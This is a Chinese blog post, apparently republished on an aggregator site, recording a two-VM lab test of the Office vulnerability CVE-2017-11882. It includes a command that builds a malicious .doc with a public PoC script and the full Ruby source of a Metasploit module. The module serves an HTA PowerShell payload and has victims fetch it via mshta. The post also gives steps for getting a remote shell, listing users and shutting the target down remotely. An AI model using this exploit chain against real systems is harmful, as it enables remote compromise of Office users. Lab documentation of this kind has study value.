Office隐藏17年的漏洞CVE_2017_11882测试记录创建时间:2017/11/25 0:18作者:CN_Simo标签:Office漏洞 参考文章1:https://www.cnblogs.com/Oran9e/p/7880832.html参考文章2:https:/ ...
Office隐藏17年的漏洞CVE_2017_11882测试记录
创建时间: | 2017/11/25 0:18 |
作者: | CN_Simo |
标签: | Office漏洞 |
参考文章1:https://www.cnblogs.com/Oran9e/p/7880832.html参考文章2:https://www.cnblogs.com/i-honey/p/7885573.html POC地址:https://github.com/Ridter/CVE-2017-11882/ 中间环节出现,msf连接
数据库失败的情况,解决方法:https://www.cnblogs.com/justforfun12/p/5205804.html 1.制造条件 这里搭建两台虚拟机进行测试! 测试机配置信息:
操作系统 | Win7_x64 企业版 |
Office版本 | Office 2013 |
防火墙状态 | 开启 |
IP | 192.168.1.103 |
系统语言 | Chinese |
操作系统 | Kali 2.1 中文 |
IP | 192.168.1.104 |
首先在kali下安装nginx,或者tomcat应该也是可以的,首先将生成的doc文件放在/usr/share/nginx/html目录下,方便被攻击的机器获取doc文件。 启动nginx服务:systemctl start nginx 使用Command43b_CVE-2017-11882.py生成doc文件python Command43b_CVE-2017-11882.py -c "mshta >;; -o cev2.doc# 将下载好的漏洞模块放在msf任意目录下root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/
windows/smb/cve_2017_11882.rb的内容如下:### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Payload Delivery', 'Description' => %q{ This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an
web server. Currently have not figured out how to generate a doc. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Automatic', {} ], ], 'DefaultTarget' => 0, )) end def on_request_uri(cli, _request) print_status("Delivering payload") p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win '} ) send_response(cli, data, 'Content-Type' => 'application/hta') end def primer url = get_uri print_status("Place the following DDE in an MS document:") print_line("mshta.exe \"#{url}\"") end 然后,这里在使用msfconsole之前,需要先打开数据库,例如 service postgresql start 打开数据库之后,进入msfconsole,然后对msf进行初始化,执行msf init之后search cve_2017_11882搜索漏洞模块,然后按照【参考文章2】进行配置,最后 exploit 之后启动对 8080 端口的监听,至于为什么是8080端口我也不太清楚啊! 2.万事俱备,只欠东风 这个时候,只需要在 win7 上通过浏览器的到 cve2.doc文档,打开之后,kali中命令行立刻显示已经获取到了连接,
session命令得到回话,session -i 【id】建立连接
shell命令可以得到cmd,执行net user查看用户
3.实验效果 通过这个漏洞,可以肆无忌惮的执行一些命令,例如关机,删除一些文件,收集一些系统信息还是非常有用的在桌面新建文件夹
远程关机
虽然获取到了命令行,但是通过net user命令可以看到登录的用户级别是Guest,这就限制了一些需要权限较高的命令执行!而且这里win7没有安装杀软,我不知道安装杀软之后word文档会不会被查杀呢?
海外公司注册、海外银行开户、跨境平台代入驻、VAT、EPR等知识和在线办理:https://www.xlkjsw.com
原标题:Office隐藏17年的漏洞CVE_2017_11882测试记录
关键词:
*特别声明:以上内容来自于网络收集,著作权属原作者所有,如有侵权,请联系我们:
admin#shaoqun.com
(#换成@)。